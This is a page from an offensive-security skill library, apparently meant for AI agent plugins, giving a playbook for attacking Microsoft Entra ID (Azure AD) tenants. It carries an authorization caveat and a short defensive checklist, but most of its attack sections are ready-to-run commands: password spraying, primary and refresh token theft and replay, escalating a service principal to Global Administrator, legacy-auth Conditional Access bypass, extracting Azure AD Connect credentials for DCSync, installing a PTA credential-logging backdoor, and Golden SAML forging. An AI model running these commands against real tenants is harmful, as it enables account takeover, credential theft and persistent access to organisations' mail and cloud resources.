secskills
secskills / offense / attacking-entra-id

attacking-entra-id

offense verified 2026-07-27

Attack and enumerate Azure AD / Entra ID tenants — initial recon with AADInternals and ROADtools, password spraying, token theft (PRT, CAE, refresh tokens), application and service principal abuse, Conditional Access bypass, cross-tenant pivoting, hybrid identity attacks (PTA agent, Azure AD Connect), and managed identity abuse. Use when pentesting Entra ID tenants, assessing Azure AD security posture, or exploiting cloud identity misconfigurations.

$ /plugin install secskills-offense $ /plugin install secskills-core

Entra ID (formerly Azure AD) is the identity control plane for Microsoft 365, Azure, and thousands of SaaS integrations. Compromising it grants access to everything those identities protect: mailboxes, SharePoint, Azure subscriptions, and any application that trusts the tenant. Despite this, Entra ID environments are routinely less monitored than on-premises Active Directory. Most organizations lack equivalent detection coverage for cloud identity attacks, and the attack surface -- OAuth tokens, application consent, service principals, Conditional Access gaps -- is fundamentally different from traditional AD.

Only against tenants you are authorized to test.

When to Use

When NOT to Use

movement) -- use attacking-active-directory

exploiting-cloud-platforms

Initial Reconnaissance

Tenant discovery requires no credentials. Start here to confirm the target tenant exists, identify federation configuration, and map the attack surface.

# AADInternals -- tenant recon
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName target.com

# Get tenant ID from OpenID configuration
curl https://login.microsoftonline.com/target.com/.well-known/openid-configuration

# Check user realm (managed vs. federated)
curl "https://login.microsoftonline.com/common/userrealm/user@target.com?api-version=2.0"

# ROADtools -- authenticated enumeration (once you have creds)
roadrecon auth -u user@target.com -p 'Password'
roadrecon gather
roadrecon gui
# Browse the GUI: users, groups, applications, service principals, conditional access

# AzureHound -- BloodHound collection for Azure/Entra
azurehound -u user@target.com -p 'Password' list --tenant target.com -o output.json

ROADtools GUI is the single most useful view of a tenant. Run roadrecon gather immediately after obtaining any valid credential.

Password Spraying

Microsoft rate-limits and logs sprays, so cadence matters. One password per user per 30-60 minutes avoids smart lockout in most configurations.

# MSOLSpray -- targets the Microsoft Online login endpoint
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList users.txt -Password 'Spring2026!' -URL https://login.microsoft.com

# o365spray -- enumerate then spray
o365spray --validate --domain target.com
o365spray --enum -U users.txt --domain target.com
o365spray --spray -U valid_users.txt -P passwords.txt --domain target.com --rate 1 --safe 30

# TREVORspray -- distributed spraying via SOCKS proxies
trevorspray -u users.txt -p 'Summer2026!' --delay 1800

Lockout-safe cadence:

distinguish lockout from failure

Token Theft and Replay

Entra ID authentication produces several token types. Each has different lifetimes, scopes, and replay conditions.

Primary Refresh Token (PRT)

The PRT is a long-lived credential cached on Azure AD joined or registered devices. It grants SSO to all Microsoft cloud services.

# Extract PRT using ROADtoken (requires SYSTEM or user session)
ROADtoken.exe

# RequestAADRefreshToken -- request a refresh token using the PRT
RequestAADRefreshToken.exe

# AADInternals -- export PRT from a joined device
$prt = Get-AADIntUserPRTToken
# Use it in a browser by injecting the x-ms-RefreshTokenCredential cookie

A stolen PRT bypasses MFA if MFA was satisfied when the PRT was issued, because the PRT carries the MFA claim.

Refresh Token Replay

# Exchange a refresh token for an access token
curl -X POST https://login.microsoftonline.com/TENANT_ID/oauth2/v2.0/token \
  -d "client_id=CLIENT_ID&grant_type=refresh_token&refresh_token=STOLEN_RT&scope=https://graph.microsoft.com/.default"

# ROADtools -- authenticate with a refresh token
roadrecon auth --refresh-token 'eyJ0...'
roadrecon gather

Continuous Access Evaluation (CAE) Gaps

CAE-aware tokens are checked against revocation in near real-time, but not all applications support CAE. Token lifetime for non-CAE resources remains up to 1 hour. Critical event evaluation (user disabled, password change) propagates within minutes, but IP-based evaluation covers only supported workloads. Check whether the target application enforces CAE before assuming token revocation is instantaneous.

Application and Service Principal Abuse

Applications and service principals are the most under-reviewed attack surface in Entra ID. They persist through user offboarding, hold credentials that nobody rotates, and often have excessive API permissions.

Dangerous Application Permissions

Application (not delegated) permissions that grant tenant-wide access without user consent:

Global Administrator

# Enumerate applications with high-privilege permissions (Graph API)
az rest --method GET --url "https://graph.microsoft.com/v1.0/servicePrincipals?\$select=displayName,appId,appRoles" \
  --query "value[].{name:displayName,appId:appId}"

# ROADtools -- the GUI shows app permissions under each service principal

# Find apps with credentials (secrets/certificates)
az ad app list --query "[?passwordCredentials || keyCredentials].{name:displayName,appId:appId}" -o table

Consent Grant Abuse (Illicit Consent Grant)

If users can consent to applications, an attacker can register a malicious multi-tenant app requesting Mail.Read and similar scopes, then phish a user into granting consent.

# Microsoft Graph PowerShell. The AzureAD and MSOnline modules are gone --
# deprecated March 2024, unsupported after 30 March 2025, retired from
# July 2025 -- so any Get-AzureAD*/Get-Msol* command you find in older
# tradecraft will simply fail to authenticate.
Connect-MgGraph -Scopes 'Policy.Read.All','Application.Read.All'

# Check whether user consent is allowed
(Get-MgPolicyAuthorizationPolicy).DefaultUserRolePermissions.PermissionGrantPoliciesAssigned
# If "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present,
# users can consent to third-party apps

# Enumerate existing consent grants
Get-MgOauth2PermissionGrant -All

App Role Assignment Escalation

If you control a service principal with AppRoleAssignment.ReadWrite.All:

# Grant RoleManagement.ReadWrite.Directory to your controlled SP
az rest --method POST \
  --url "https://graph.microsoft.com/v1.0/servicePrincipals/SP_OBJECT_ID/appRoleAssignments" \
  --body '{"principalId":"SP_OBJECT_ID","resourceId":"GRAPH_SP_ID","appRoleId":"ROLE_MANAGEMENT_ROLE_ID"}'
# Then assign Global Administrator to any user or SP

Conditional Access Bypass

Conditional Access (CA) policies are the primary security control in Entra ID, but gaps are common.

Common bypass patterns:

auth allow password-only authentication via IMAP/POP/SMTP

exclude service accounts or break-glass accounts

attacker on those networks (VPN, compromised on-prem host) bypasses MFA

Linux or mobile

Microsoft Admin portals, Azure Management, and Graph API specifically

applications in real time

# Enumerate CA policies (requires Policy.Read.All or equivalent)
az rest --method GET --url "https://graph.microsoft.com/v1.0/identity/conditionalAccessPolicies"

# ROADtools -- CA policies are visible in the GUI after gathering

# Test legacy auth (if not blocked)
curl -u user@target.com:password https://outlook.office365.com/EWS/Exchange.asmx

Cross-Tenant Attacks

B2B Guest Pivoting

Guest accounts in one tenant often have access to resources in the inviting tenant. If you compromise a user who is a guest in another tenant, enumerate what that guest can reach.

# List tenants the compromised user is a guest in
az account list --all --query "[].{tenant:tenantId,name:name}"

# Switch context to the target tenant
az login --tenant TARGET_TENANT_ID

# Enumerate accessible resources in the target tenant
az ad signed-in-user show
az group list

Tenant-to-Tenant Trust Abuse

Cross-tenant access settings and cross-tenant synchronization can create trust paths:

user in the source tenant gives MFA-bypassed access to the target

source tenant's sync, you can inject accounts into the target

# Enumerate cross-tenant access policies
Get-MgPolicyCrossTenantAccessPolicyPartner | Select TenantId, InboundTrust, AutomaticUserConsentSettings

Hybrid Identity Attacks

Hybrid environments connect on-premises AD to Entra ID, creating attack paths in both directions.

Azure AD Connect -- Sync Account DCSync

Azure AD Connect uses a service account with Directory Replication permissions (DCSync rights) in on-premises AD. The credentials are stored encrypted on the Connect server.

# AADInternals -- extract the sync account credentials from the Connect server
# Requires local admin on the Azure AD Connect host
Import-Module AADInternals
Get-AADIntSyncCredentials
# Returns: username (MSOL_xxxx or custom), password, tenant ID

# Use the sync account to DCSync on-prem AD
secretsdump.py 'MSOL_abc123:password@dc.domain.local' -just-dc

Compromising the Azure AD Connect server is a domain compromise. The sync account also has the ability to reset cloud passwords unless password writeback scope is restricted.

Pass-Through Authentication (PTA) Agent Abuse

PTA agents validate on-prem passwords for cloud logins. An attacker with admin access on the PTA agent host can intercept credentials in cleartext.

# AADInternals -- install a PTA agent backdoor that logs credentials
# and optionally accepts any password
Install-AADIntPTASpy

# Retrieve intercepted credentials
Get-AADIntPTASpyLog

# Remove the spy
Remove-AADIntPTASpy

Compromising any PTA agent host gives cleartext credentials for every cloud authentication by non-synced-hash users.

Federation Abuse (Golden SAML)

If ADFS is in use and you have the token-signing certificate:

# Export the ADFS token-signing certificate (requires DA or local admin on ADFS)
# Then forge SAML tokens for any federated user
# AADInternals:
$cert = Export-AADIntADFSSigningCertificate
Open-AADIntOffice365Portal -ImmutableID USER_IMMUTABLE_ID -Issuer FEDERATION_ISSUER -PfxFileName cert.pfx

Managed Identity and Workload Identity Federation

Managed Identity Abuse

Azure managed identities (system-assigned and user-assigned) are service principals that Azure resources use to authenticate to other services.

# From a compromised Azure VM/Function/App Service -- request a token
curl -H Metadata:true \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com"

# Use the token against Graph API
curl -H "Authorization: Bearer ACCESS_TOKEN" https://graph.microsoft.com/v1.0/me

If the managed identity has high-privilege Graph or ARM permissions, this is equivalent to a service principal compromise.

Workload Identity Federation

Workload identity federation allows external identity providers (GitHub Actions, GCP, AWS) to authenticate as an Entra ID service principal without secrets.

Misconfiguration risk: overly broad subject/issuer conditions. If a federated credential trusts repo:org/* instead of repo:org/specific-repo:ref:refs/heads/main, any repo in the org can assume the identity.

# Enumerate federated credentials on an application
az ad app federated-credential list --id APP_OBJECT_ID

Defensive Review Checklist

When performing a security assessment rather than an attack:

Graph API, and when were their credentials last rotated?

Rationalizations to Reject

exclusions, platform gaps, and application exclusions. CA only works when it covers every path.

Delegated permissions exercised by an admin-consented app with a valid token still operate at the user's full privilege level.

password rotation unless the sessions are explicitly revoked.

leaked client secret with Mail.Read application permission reads every mailbox in the tenant silently.

It holds DCSync-capable credentials and should be treated as Tier 0 -- equivalent to a domain controller.

compromised, inbound trust policies may let the attacker inherit MFA claims and access your resources without re-authenticating.

True for credential theft, but any code running on the resource can request tokens. Overly permissioned managed identities are still a privilege escalation path.

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Initial Access (TA0001)

Credential Access (TA0006)

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.

References